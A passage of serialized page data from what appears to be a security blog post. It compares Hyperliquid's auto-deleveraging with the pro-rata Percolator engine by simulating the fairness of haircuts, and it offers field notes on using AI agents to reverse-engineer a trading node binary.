recovered.",{"type":25,"tag":6948,"props":165298,"children":165299},{},[165300,165304,165305,165428,165429,165646,165648,165752,165754,165805,165807,165859],{"type":25,"tag":65,"props":165301,"children":165302},{},[165303],{"type":31,"value":161953},{"type":31,"value":1840},{"type":25,"tag":115,"props":165306,"children":165308},{"className":165307},[5485,5486],[165309],{"type":25,"tag":201,"props":165310,"children":165312},{"className":165311},[5491],[165313],{"type":25,"tag":201,"props":165314,"children":165316},{"className":165315,"ariaHidden":5497},[5496],[165317,165343],{"type":25,"tag":201,"props":165318,"children":165320},{"className":165319},[5502],[165321,165325,165330,165334,165339],{"type":25,"tag":201,"props":165322,"children":165324},{"className":165323,"style":164850},[5507],[],{"type":25,"tag":201,"props":165326,"children":165328},{"className":165327},[5513],[165329],{"type":31,"value":5516},{"type":25,"tag":201,"props":165331,"children":165333},{"className":165332,"style":5594},[5593],[],{"type":25,"tag":201,"props":165335,"children":165337},{"className":165336},[5599],[165338],{"type":31,"value":5573},{"type":25,"tag":201,"props":165340,"children":165342},{"className":165341,"style":5594},[5593],[],{"type":25,"tag":201,"props":165344,"children":165346},{"className":165345},[5502],[165347,165351,165361,165366,165423],{"type":25,"tag":201,"props":165348,"children":165350},{"className":165349,"style":5614},[5507],[],{"type":25,"tag":201,"props":165352,"children":165354},{"className":165353},[5513,31],[165355],{"type":25,"tag":201,"props":165356,"children":165358},{"className":165357},[5513],[165359],{"type":31,"value":165360},"Gini",{"type":25,"tag":201,"props":165362,"children":165364},{"className":165363},[23212],[165365],{"type":31,"value":298},{"type":25,"tag":201,"props":165367,"children":165369},{"className":165368},[5513],[165370,165375],{"type":25,"tag":201,"props":165371,"children":165373},{"className":165372},[5513,23083],[165374],{"type":31,"value":85429},{"type":25,"tag":201,"props":165376,"children":165378},{"className":165377},[5529],[165379],{"type":25,"tag":201,"props":165380,"children":165382},{"className":165381},[5534,23137],[165383,165412],{"type":25,"tag":201,"props":165384,"children":165386},{"className":165385},[5539],[165387,165407],{"type":25,"tag":201,"props":165388,"children":165390},{"className":165389,"style":94660},[5544],[165391],{"type":25,"tag":201,"props":165392,"children":165393},{"style":94187},[165394,165398],{"type":25,"tag":201,"props":165395,"children":165397},{"className":165396,"style":5554},[5553],[],{"type":25,"tag":201,"props":165399,"children":165401},{"className":165400},[5559,5560,5561,5562],[165402],{"type":25,"tag":201,"props":165403,"children":165405},{"className":165404},[5513,23083,5562],[165406],{"type":31,"value":3641},{"type":25,"tag":201,"props":165408,"children":165410},{"className":165409},[23240],[165411],{"type":31,"value":23243},{"type":25,"tag":201,"props":165413,"children":165415},{"className":165414},[5539],[165416],{"type":25,"tag":201,"props":165417,"children":165419},{"className":165418,"style":94214},[5544],[165420],{"type":25,"tag":201,"props":165421,"children":165422},{},[],{"type":25,"tag":201,"props":165424,"children":165426},{"className":165425},[23234],[165427],{"type":31,"value":3073},{"type":31,"value":8831},{"type":25,"tag":115,"props":165430,"children":165432},{"className":165431},[5485,5486],[165433],{"type":25,"tag":201,"props":165434,"children":165436},{"className":165435},[5491],[165437],{"type":25,"tag":201,"props":165438,"children":165440},{"className":165439,"ariaHidden":5497},[5496],[165441,165519],{"type":25,"tag":201,"props":165442,"children":165444},{"className":165443},[5502],[165445,165449,165506,165510,165515],{"type":25,"tag":201,"props":165446,"children":165448},{"className":165447,"style":143410},[5507],[],{"type":25,"tag":201,"props":165450,"children":165452},{"className":165451},[5513],[165453,165458],{"type":25,"tag":201,"props":165454,"children":165456},{"className":165455},[5513,23083],[165457],{"type":31,"value":85429},{"type":25,"tag":201,"props":165459,"children":165461},{"className":165460},[5529],[165462],{"type":25,"tag":201,"props":165463,"children":165465},{"className":165464},[5534,23137],[165466,165495],{"type":25,"tag":201,"props":165467,"children":165469},{"className":165468},[5539],[165470,165490],{"type":25,"tag":201,"props":165471,"children":165473},{"className":165472,"style":94660},[5544],[165474],{"type":25,"tag":201,"props":165475,"children":165476},{"style":94187},[165477,165481],{"type":25,"tag":201,"props":165478,"children":165480},{"className":165479,"style":5554},[5553],[],{"type":25,"tag":201,"props":165482,"children":165484},{"className":165483},[5559,5560,5561,5562],[165485],{"type":25,"tag":201,"props":165486,"children":165488},{"className":165487},[5513,23083,5562],[165489],{"type":31,"value":3641},{"type":25,"tag":201,"props":165491,"children":165493},{"className":165492},[23240],[165494],{"type":31,"value":23243},{"type":25,"tag":201,"props":165496,"children":165498},{"className":165497},[5539],[165499],{"type":25,"tag":201,"props":165500,"children":165502},{"className":165501,"style":94214},[5544],[165503],{"type":25,"tag":201,"props":165504,"children":165505},{},[],{"type":25,"tag":201,"props":165507,"children":165509},{"className":165508,"style":5691},[5593],[],{"type":25,"tag":201,"props":165511,"children":165513},{"className":165512},[5696],[165514],{"type":31,"value":1383},{"type":25,"tag":201,"props":165516,"children":165518},{"className":165517,"style":5691},[5593],[],{"type":25,"tag":201,"props":165520,"children":165522},{"className":165521},[5502],[165523,165527,165584,165589],{"type":25,"tag":201,"props":165524,"children":165526},{"className":165525,"style":5614},[5507],[],{"type":25,"tag":201,"props":165528,"children":165530},{"className":165529},[5513],[165531,165536],{"type":25,"tag":201,"props":165532,"children":165534},{"className":165533},[5513,23083],[165535],{"type":31,"value":1606},{"type":25,"tag":201,"props":165537,"children":165539},{"className":165538},[5529],[165540],{"type":25,"tag":201,"props":165541,"children":165543},{"className":165542},[5534,23137],[165544,165573],{"type":25,"tag":201,"props":165545,"children":165547},{"className":165546},[5539],[165548,165568],{"type":25,"tag":201,"props":165549,"children":165551},{"className":165550,"style":94660},[5544],[165552],{"type":25,"tag":201,"props":165553,"children":165554},{"style":94187},[165555,165559],{"type":25,"tag":201,"props":165556,"children":165558},{"className":165557,"style":5554},[5553],[],{"type":25,"tag":201,"props":165560,"children":165562},{"className":165561},[5559,5560,5561,5562],[165563],{"type":25,"tag":201,"props":165564,"children":165566},{"className":165565},[5513,23083,5562],[165567],{"type":31,"value":3641},{"type":25,"tag":201,"props":165569,"children":165571},{"className":165570},[23240],[165572],{"type":31,"value":23243},{"type":25,"tag":201,"props":165574,"children":165576},{"className":165575},[5539],[165577],{"type":25,"tag":201,"props":165578,"children":165580},{"className":165579,"style":94214},[5544],[165581],{"type":25,"tag":201,"props":165582,"children":165583},{},[],{"type":25,"tag":201,"props":165585,"children":165587},{"className":165586},[5513],[165588],{"type":31,"value":6087},{"type":25,"tag":201,"props":165590,"children":165592},{"className":165591},[5513],[165593,165598],{"type":25,"tag":201,"props":165594,"children":165596},{"className":165595,"style":123411},[5513,23083],[165597],{"type":31,"value":50649},{"type":25,"tag":201,"props":165599,"children":165601},{"className":165600},[5529],[165602],{"type":25,"tag":201,"props":165603,"children":165605},{"className":165604},[5534,23137],[165606,165635],{"type":25,"tag":201,"props":165607,"children":165609},{"className":165608},[5539],[165610,165630],{"type":25,"tag":201,"props":165611,"children":165613},{"className":165612,"style":94660},[5544],[165614],{"type":25,"tag":201,"props":165615,"children":165616},{"style":162359},[165617,165621],{"type":25,"tag":201,"props":165618,"children":165620},{"className":165619,"style":5554},[5553],[],{"type":25,"tag":201,"props":165622,"children":165624},{"className":165623},[5559,5560,5561,5562],[165625],{"type":25,"tag":201,"props":165626,"children":165628},{"className":165627},[5513,23083,5562],[165629],{"type":31,"value":3641},{"type":25,"tag":201,"props":165631,"children":165633},{"className":165632},[23240],[165634],{"type":31,"value":23243},{"type":25,"tag":201,"props":165636,"children":165638},{"className":165637},[5539],[165639],{"type":25,"tag":201,"props":165640,"children":165642},{"className":165641,"style":94214},[5544],[165643],{"type":25,"tag":201,"props":165644,"children":165645},{},[],{"type":31,"value":165647}," for each winner with ",{"type":25,"tag":115,"props":165649,"children":165651},{"className":165650},[5485,5486],[165652],{"type":25,"tag":201,"props":165653,"children":165655},{"className":165654},[5491],[165656],{"type":25,"tag":201,"props":165657,"children":165659},{"className":165658,"ariaHidden":5497},[5496],[165660,165739],{"type":25,"tag":201,"props":165661,"children":165663},{"className":165662},[5502],[165664,165669,165726,165730,165735],{"type":25,"tag":201,"props":165665,"children":165668},{"className":165666,"style":165667},[5507],"height:0.6891em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":165670,"children":165672},{"className":165671},[5513],[165673,165678],{"type":25,"tag":201,"props":165674,"children":165676},{"className":165675,"style":123411},[5513,23083],[165677],{"type":31,"value":50649},{"type":25,"tag":201,"props":165679,"children":165681},{"className":165680},[5529],[165682],{"type":25,"tag":201,"props":165683,"children":165685},{"className":165684},[5534,23137],[165686,165715],{"type":25,"tag":201,"props":165687,"children":165689},{"className":165688},[5539],[165690,165710],{"type":25,"tag":201,"props":165691,"children":165693},{"className":165692,"style":94660},[5544],[165694],{"type":25,"tag":201,"props":165695,"children":165696},{"style":162359},[165697,165701],{"type":25,"tag":201,"props":165698,"children":165700},{"className":165699,"style":5554},[5553],[],{"type":25,"tag":201,"props":165702,"children":165704},{"className":165703},[5559,5560,5561,5562],[165705],{"type":25,"tag":201,"props":165706,"children":165708},{"className":165707},[5513,23083,5562],[165709],{"type":31,"value":3641},{"type":25,"tag":201,"props":165711,"children":165713},{"className":165712},[23240],[165714],{"type":31,"value":23243},{"type":25,"tag":201,"props":165716,"children":165718},{"className":165717},[5539],[165719],{"type":25,"tag":201,"props":165720,"children":165722},{"className":165721,"style":94214},[5544],[165723],{"type":25,"tag":201,"props":165724,"children":165725},{},[],{"type":25,"tag":201,"props":165727,"children":165729},{"className":165728,"style":5691},[5593],[],{"type":25,"tag":201,"props":165731,"children":165733},{"className":165732},[5696],[165734],{"type":31,"value":1342},{"type":25,"tag":201,"props":165736,"children":165738},{"className":165737,"style":5691},[5593],[],{"type":25,"tag":201,"props":165740,"children":165742},{"className":165741},[5502],[165743,165747],{"type":25,"tag":201,"props":165744,"children":165746},{"className":165745,"style":95162},[5507],[],{"type":25,"tag":201,"props":165748,"children":165750},{"className":165749},[5513],[165751],{"type":31,"value":429},{"type":31,"value":165753}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":25,"tag":115,"props":165755,"children":165757},{"className":165756},[5485,5486],[165758],{"type":25,"tag":201,"props":165759,"children":165761},{"className":165760},[5491],[165762],{"type":25,"tag":201,"props":165763,"children":165765},{"className":165764,"ariaHidden":5497},[5496],[165766,165792],{"type":25,"tag":201,"props":165767,"children":165769},{"className":165768},[5502],[165770,165774,165779,165783,165788],{"type":25,"tag":201,"props":165771,"children":165773},{"className":165772,"style":23078},[5507],[],{"type":25,"tag":201,"props":165775,"children":165777},{"className":165776,"style":23084},[5513,23083],[165778],{"type":31,"value":122909},{"type":25,"tag":201,"props":165780,"children":165782},{"className":165781,"style":5691},[5593],[],{"type":25,"tag":201,"props":165784,"children":165786},{"className":165785},[5696],[165787],{"type":31,"value":1383},{"type":25,"tag":201,"props":165789,"children":165791},{"className":165790,"style":5691},[5593],[],{"type":25,"tag":201,"props":165793,"children":165795},{"className":165794},[5502],[165796,165800],{"type":25,"tag":201,"props":165797,"children":165799},{"className":165798,"style":95162},[5507],[],{"type":25,"tag":201,"props":165801,"children":165803},{"className":165802},[5513],[165804],{"type":31,"value":5516},{"type":31,"value":165806}," means everyone loses the same fraction of their PNL. ",{"type":25,"tag":115,"props":165808,"children":165810},{"className":165809},[5485,5486],[165811],{"type":25,"tag":201,"props":165812,"children":165814},{"className":165813},[5491],[165815],{"type":25,"tag":201,"props":165816,"children":165818},{"className":165817,"ariaHidden":5497},[5496],[165819,165846],{"type":25,"tag":201,"props":165820,"children":165822},{"className":165821},[5502],[165823,165827,165832,165836,165842],{"type":25,"tag":201,"props":165824,"children":165826},{"className":165825,"style":23078},[5507],[],{"type":25,"tag":201,"props":165828,"children":165830},{"className":165829,"style":23084},[5513,23083],[165831],{"type":31,"value":122909},{"type":25,"tag":201,"props":165833,"children":165835},{"className":165834,"style":5691},[5593],[],{"type":25,"tag":201,"props":165837,"children":165839},{"className":165838},[5696],[165840],{"type":31,"value":165841},"≈",{"type":25,"tag":201,"props":165843,"children":165845},{"className":165844,"style":5691},[5593],[],{"type":25,"tag":201,"props":165847,"children":165849},{"className":165848},[5502],[165850,165854],{"type":25,"tag":201,"props":165851,"children":165853},{"className":165852,"style":95162},[5507],[],{"type":25,"tag":201,"props":165855,"children":165857},{"className":165856},[5513],[165858],{"type":31,"value":429},{"type":31,"value":165860}," means a few get wiped while most are untouched.",{"type":25,"tag":6948,"props":165862,"children":165863},{},[165864,165868,165869,166027,166029,166123,166125],{"type":25,"tag":65,"props":165865,"children":165866},{},[165867],{"type":31,"value":161963},{"type":31,"value":1840},{"type":25,"tag":115,"props":165870,"children":165872},{"className":165871},[5485,5486],[165873],{"type":25,"tag":201,"props":165874,"children":165876},{"className":165875},[5491],[165877],{"type":25,"tag":201,"props":165878,"children":165880},{"className":165879,"ariaHidden":5497},[5496],[165881],{"type":25,"tag":201,"props":165882,"children":165884},{"className":165883},[5502],[165885,165890,165965,165970],{"type":25,"tag":201,"props":165886,"children":165889},{"className":165887,"style":165888},[5507],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":25,"tag":201,"props":165891,"children":165893},{"className":165892},[5513],[165894,165899],{"type":25,"tag":201,"props":165895,"children":165897},{"className":165896,"style":96139},[5513,23083],[165898],{"type":31,"value":162688},{"type":25,"tag":201,"props":165900,"children":165902},{"className":165901},[5529],[165903],{"type":25,"tag":201,"props":165904,"children":165906},{"className":165905},[5534,23137],[165907,165953],{"type":25,"tag":201,"props":165908,"children":165910},{"className":165909},[5539],[165911,165948],{"type":25,"tag":201,"props":165912,"children":165914},{"className":165913,"style":109848},[5544],[165915,165932],{"type":25,"tag":201,"props":165916,"children":165918},{"style":165917},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[165919,165923],{"type":25,"tag":201,"props":165920,"children":165922},{"className":165921,"style":5554},[5553],[],{"type":25,"tag":201,"props":165924,"children":165926},{"className":165925},[5559,5560,5561,5562],[165927],{"type":25,"tag":201,"props":165928,"children":165930},{"className":165929,"style":23084},[5513,23083,5562],[165931],{"type":31,"value":7496},{"type":25,"tag":201,"props":165933,"children":165934},{"style":5548},[165935,165939],{"type":25,"tag":201,"props":165936,"children":165938},{"className":165937,"style":5554},[5553],[],{"type":25,"tag":201,"props":165940,"children":165942},{"className":165941},[5559,5560,5561,5562],[165943],{"type":25,"tag":201,"props":165944,"children":165946},{"className":165945,"style":94617},[5513,23083,5562],[165947],{"type":31,"value":162202},{"type":25,"tag":201,"props":165949,"children":165951},{"className":165950},[23240],[165952],{"type":31,"value":23243},{"type":25,"tag":201,"props":165954,"children":165956},{"className":165955},[5539],[165957],{"type":25,"tag":201,"props":165958,"children":165961},{"className":165959,"style":165960},[5544],"height:0.2753em;",[165962],{"type":25,"tag":201,"props":165963,"children":165964},{},[],{"type":25,"tag":201,"props":165966,"children":165968},{"className":165967},[5513],[165969],{"type":31,"value":6087},{"type":25,"tag":201,"props":165971,"children":165973},{"className":165972},[5513],[165974,165979],{"type":25,"tag":201,"props":165975,"children":165977},{"className":165976,"style":96139},[5513,23083],[165978],{"type":31,"value":162688},{"type":25,"tag":201,"props":165980,"children":165982},{"className":165981},[5529],[165983],{"type":25,"tag":201,"props":165984,"children":165986},{"className":165985},[5534,23137],[165987,166016],{"type":25,"tag":201,"props":165988,"children":165990},{"className":165989},[5539],[165991,166011],{"type":25,"tag":201,"props":165992,"children":165994},{"className":165993,"style":143686},[5544],[165995],{"type":25,"tag":201,"props":165996,"children":165997},{"style":162707},[165998,166002],{"type":25,"tag":201,"props":165999,"children":166001},{"className":166000,"style":5554},[5553],[],{"type":25,"tag":201,"props":166003,"children":166005},{"className":166004},[5559,5560,5561,5562],[166006],{"type":25,"tag":201,"props":166007,"children":166009},{"className":166008,"style":23084},[5513,23083,5562],[166010],{"type":31,"value":7496},{"type":25,"tag":201,"props":166012,"children":166014},{"className":166013},[23240],[166015],{"type":31,"value":23243},{"type":25,"tag":201,"props":166017,"children":166019},{"className":166018},[5539],[166020],{"type":25,"tag":201,"props":166021,"children":166023},{"className":166022,"style":94214},[5544],[166024],{"type":25,"tag":201,"props":166025,"children":166026},{},[],{"type":31,"value":166028}," — ",{"type":25,"tag":115,"props":166030,"children":166032},{"className":166031},[5485,5486],[166033],{"type":25,"tag":201,"props":166034,"children":166036},{"className":166035},[5491],[166037],{"type":25,"tag":201,"props":166038,"children":166040},{"className":166039,"ariaHidden":5497},[5496],[166041],{"type":25,"tag":201,"props":166042,"children":166044},{"className":166043},[5502],[166045,166050],{"type":25,"tag":201,"props":166046,"children":166049},{"className":166047,"style":166048},[5507],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":25,"tag":201,"props":166051,"children":166053},{"className":166052},[5513],[166054,166059],{"type":25,"tag":201,"props":166055,"children":166057},{"className":166056,"style":96139},[5513,23083],[166058],{"type":31,"value":162688},{"type":25,"tag":201,"props":166060,"children":166062},{"className":166061},[5529],[166063],{"type":25,"tag":201,"props":166064,"children":166066},{"className":166065},[5534,23137],[166067,166112],{"type":25,"tag":201,"props":166068,"children":166070},{"className":166069},[5539],[166071,166107],{"type":25,"tag":201,"props":166072,"children":166074},{"className":166073,"style":109848},[5544],[166075,166091],{"type":25,"tag":201,"props":166076,"children":166077},{"style":165917},[166078,166082],{"type":25,"tag":201,"props":166079,"children":166081},{"className":166080,"style":5554},[5553],[],{"type":25,"tag":201,"props":166083,"children":166085},{"className":166084},[5559,5560,5561,5562],[166086],{"type":25,"tag":201,"props":166087,"children":166089},{"className":166088,"style":23084},[5513,23083,5562],[166090],{"type":31,"value":7496},{"type":25,"tag":201,"props":166092,"children":166093},{"style":5548},[166094,166098],{"type":25,"tag":201,"props":166095,"children":166097},{"className":166096,"style":5554},[5553],[],{"type":25,"tag":201,"props":166099,"children":166101},{"className":166100},[5559,5560,5561,5562],[166102],{"type":25,"tag":201,"props":166103,"children":166105},{"className":166104,"style":94617},[5513,23083,5562],[166106],{"type":31,"value":162202},{"type":25,"tag":201,"props":166108,"children":166110},{"className":166109},[23240],[166111],{"type":31,"value":23243},{"type":25,"tag":201,"props":166113,"children":166115},{"className":166114},[5539],[166116],{"type":25,"tag":201,"props":166117,"children":166119},{"className":166118,"style":165960},[5544],[166120],{"type":25,"tag":201,"props":166121,"children":166122},{},[],{"type":31,"value":166124}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":25,"tag":115,"props":166126,"children":166128},{"className":166127},[5485,5486],[166129],{"type":25,"tag":201,"props":166130,"children":166132},{"className":166131},[5491],[166133],{"type":25,"tag":201,"props":166134,"children":166136},{"className":166135,"ariaHidden":5497},[5496],[166137],{"type":25,"tag":201,"props":166138,"children":166140},{"className":166139},[5502],[166141,166145],{"type":25,"tag":201,"props":166142,"children":166144},{"className":166143,"style":111972},[5507],[],{"type":25,"tag":201,"props":166146,"children":166148},{"className":166147,"style":94617},[5513,23083],[166149],{"type":31,"value":162202},{"type":25,"tag":34,"props":166151,"children":166152},{},[166153],{"type":31,"value":166154},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":25,"tag":166156,"props":166157,"children":166159},"git-hub-repo-link",{"url":166158},"https://github.com/aeyakovenko/percolator",[],{"type":25,"tag":34,"props":166161,"children":166162},{},[166163,166165,166170],{"type":31,"value":166164},"Given a fixed ",{"type":25,"tag":65,"props":166166,"children":166167},{},[166168],{"type":31,"value":166169},"a priori",{"type":31,"value":166171}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":25,"tag":34,"props":166173,"children":166174},{},[166175,166177,166182,166184,166261],{"type":31,"value":166176},"One prediction that we can make is that Percolator is ",{"type":25,"tag":65,"props":166178,"children":166179},{},[166180],{"type":31,"value":166181},"perfectly fair",{"type":31,"value":166183}," according to this scoring: the ",{"type":25,"tag":115,"props":166185,"children":166187},{"className":166186},[5485,5486],[166188],{"type":25,"tag":201,"props":166189,"children":166191},{"className":166190},[5491],[166192],{"type":25,"tag":201,"props":166193,"children":166195},{"className":166194,"ariaHidden":5497},[5496],[166196],{"type":25,"tag":201,"props":166197,"children":166199},{"className":166198},[5502],[166200,166204],{"type":25,"tag":201,"props":166201,"children":166203},{"className":166202,"style":143410},[5507],[],{"type":25,"tag":201,"props":166205,"children":166207},{"className":166206},[5513],[166208,166213],{"type":25,"tag":201,"props":166209,"children":166211},{"className":166210},[5513,23083],[166212],{"type":31,"value":85429},{"type":25,"tag":201,"props":166214,"children":166216},{"className":166215},[5529],[166217],{"type":25,"tag":201,"props":166218,"children":166220},{"className":166219},[5534,23137],[166221,166250],{"type":25,"tag":201,"props":166222,"children":166224},{"className":166223},[5539],[166225,166245],{"type":25,"tag":201,"props":166226,"children":166228},{"className":166227,"style":94660},[5544],[166229],{"type":25,"tag":201,"props":166230,"children":166231},{"style":94187},[166232,166236],{"type":25,"tag":201,"props":166233,"children":166235},{"className":166234,"style":5554},[5553],[],{"type":25,"tag":201,"props":166237,"children":166239},{"className":166238},[5559,5560,5561,5562],[166240],{"type":25,"tag":201,"props":166241,"children":166243},{"className":166242},[5513,23083,5562],[166244],{"type":31,"value":3641},{"type":25,"tag":201,"props":166246,"children":166248},{"className":166247},[23240],[166249],{"type":31,"value":23243},{"type":25,"tag":201,"props":166251,"children":166253},{"className":166252},[5539],[166254],{"type":25,"tag":201,"props":166255,"children":166257},{"className":166256,"style":94214},[5544],[166258],{"type":25,"tag":201,"props":166259,"children":166260},{},[],{"type":31,"value":166262}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":25,"tag":34,"props":166264,"children":166265},{},[166266,166268,166273],{"type":31,"value":166267},"We are ignoring the ",{"type":25,"tag":65,"props":166269,"children":166270},{},[166271],{"type":31,"value":166272},"a posteriori",{"type":31,"value":166274}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":25,"tag":34,"props":166276,"children":166277},{},[166278],{"type":31,"value":166279},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":25,"tag":26,"props":166281,"children":166283},{"id":166282},"simulations",[166284],{"type":31,"value":166285},"Simulations",{"type":25,"tag":34,"props":166287,"children":166288},{},[166289],{"type":31,"value":166290},"Let's consider the following price scenarios, as we said:",{"type":25,"tag":34,"props":166292,"children":166293},{},[166294],{"type":25,"tag":127,"props":166295,"children":166298},{"alt":166296,"src":166297},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":25,"tag":34,"props":166300,"children":166301},{},[166302],{"type":31,"value":166303},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":25,"tag":34,"props":166305,"children":166306},{},[166307],{"type":25,"tag":127,"props":166308,"children":166311},{"alt":166309,"src":166310},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":25,"tag":40,"props":166313,"children":166315},{"id":166314},"percolator-is-more-optimistic",[166316],{"type":31,"value":166317},"Percolator Is More \"Optimistic\"",{"type":25,"tag":34,"props":166319,"children":166320},{},[166321,166323,166328,166330,166335,166337,166343,166345,166350],{"type":31,"value":166322},"The key difference is what happens to positions. ADL ",{"type":25,"tag":65,"props":166324,"children":166325},{},[166326],{"type":31,"value":166327},"permanently closes",{"type":31,"value":166329}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":25,"tag":65,"props":166331,"children":166332},{},[166333],{"type":31,"value":166334},"withdraw",{"type":31,"value":166336},", but the position stays open. If conditions improve, ",{"type":25,"tag":115,"props":166338,"children":166340},{"className":166339},[],[166341],{"type":31,"value":166342},"Residual",{"type":31,"value":166344}," goes up, ",{"type":25,"tag":115,"props":166346,"children":166348},{"className":166347},[],[166349],{"type":31,"value":85429},{"type":31,"value":166351}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":25,"tag":34,"props":166353,"children":166354},{},[166355,166357,166361],{"type":31,"value":166356},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":25,"tag":65,"props":166358,"children":166359},{},[166360],{"type":31,"value":21683},{"type":31,"value":166362}," per position, though the tradeoff is that fewer traders get to participate.",{"type":25,"tag":34,"props":166364,"children":166365},{},[166366],{"type":25,"tag":127,"props":166367,"children":166370},{"alt":166368,"src":166369},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":25,"tag":26,"props":166372,"children":166374},{"id":166373},"some-points-to-be-made",[166375],{"type":31,"value":166376},"Some Points to Be Made",{"type":25,"tag":40,"props":166378,"children":166380},{"id":166379},"percolator-is-indifferent-to-leverage",[166381],{"type":31,"value":166382},"Percolator Is Indifferent to Leverage",{"type":25,"tag":34,"props":166384,"children":166385},{},[166386],{"type":31,"value":166387},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":25,"tag":34,"props":166389,"children":166390},{},[166391],{"type":25,"tag":127,"props":166392,"children":166395},{"alt":166393,"src":166394},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":25,"tag":40,"props":166397,"children":166399},{"id":166398},"fairness",[166400],{"type":31,"value":161953},{"type":25,"tag":34,"props":166402,"children":166403},{},[166404],{"type":31,"value":166405},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":25,"tag":34,"props":166407,"children":166408},{},[166409],{"type":25,"tag":127,"props":166410,"children":166413},{"alt":166411,"src":166412},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":25,"tag":34,"props":166415,"children":166416},{},[166417,166419,166424],{"type":31,"value":166418},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":25,"tag":115,"props":166420,"children":166422},{"className":166421},[],[166423],{"type":31,"value":160455},{"type":31,"value":166425}," we start by fully closing the worst position against the best-performing trader.",{"type":25,"tag":26,"props":166427,"children":166429},{"id":166428},"strengths-and-limitations-of-agents-for-reverse-engineering",[166430],{"type":31,"value":166431},"Strengths and Limitations of Agents for Reverse Engineering",{"type":25,"tag":34,"props":166433,"children":166434},{},[166435],{"type":31,"value":166436},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":25,"tag":40,"props":166438,"children":166440},{"id":166439},"hooks",[166441],{"type":31,"value":166442},"Hooks",{"type":25,"tag":34,"props":166444,"children":166445},{},[166446,166448,166452],{"type":31,"value":166447},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":25,"tag":65,"props":166449,"children":166450},{},[166451],{"type":31,"value":166439},{"type":31,"value":166453},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":25,"tag":34,"props":166455,"children":166456},{},[166457],{"type":31,"value":166458},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":25,"tag":40,"props":166460,"children":166462},{"id":166461},"scale",[166463],{"type":31,"value":166464},"Scale",{"type":25,"tag":34,"props":166466,"children":166467},{},[166468],{"type":31,"value":166469},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":25,"tag":34,"props":166471,"children":166472},{},[166473],{"type":31,"value":166474},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":25,"tag":40,"props":166476,"children":166478},{"id":166477},"whats-next",[166479],{"type":31,"value":166480},"What's next?",{"type":25,"tag":34,"props":166482,"children":166483},{},[166484],{"type":31,"value":166485},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":25,"tag":166156,"props":166487,"children":166488},{"url":160116},[],{"type":25,"tag":34,"props":166490,"children":166491},{},[166492],{"type":31,"value":166493},"The analyzed binary can be found here:",{"type":25,"tag":160436,"props":166495,"children":166498},{"path":166496,"name":160040,"size":166497},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":25,"tag":40,"props":166500,"children":166502},{"id":166501},"closing-words",[166503],{"type":31,"value":166504},"Closing Words",{"type":25,"tag":34,"props":166506,"children":166507},{},[166508],{"type":31,"value":166509},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":25,"tag":34,"props":166511,"children":166512},{},[166513,166515,166520],{"type":31,"value":166514},"Flagship models got us 60% of the way there, but a lot of ",{"type":25,"tag":65,"props":166516,"children":166517},{},[166518],{"type":31,"value":166519},"manual",{"type":31,"value":166521}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the 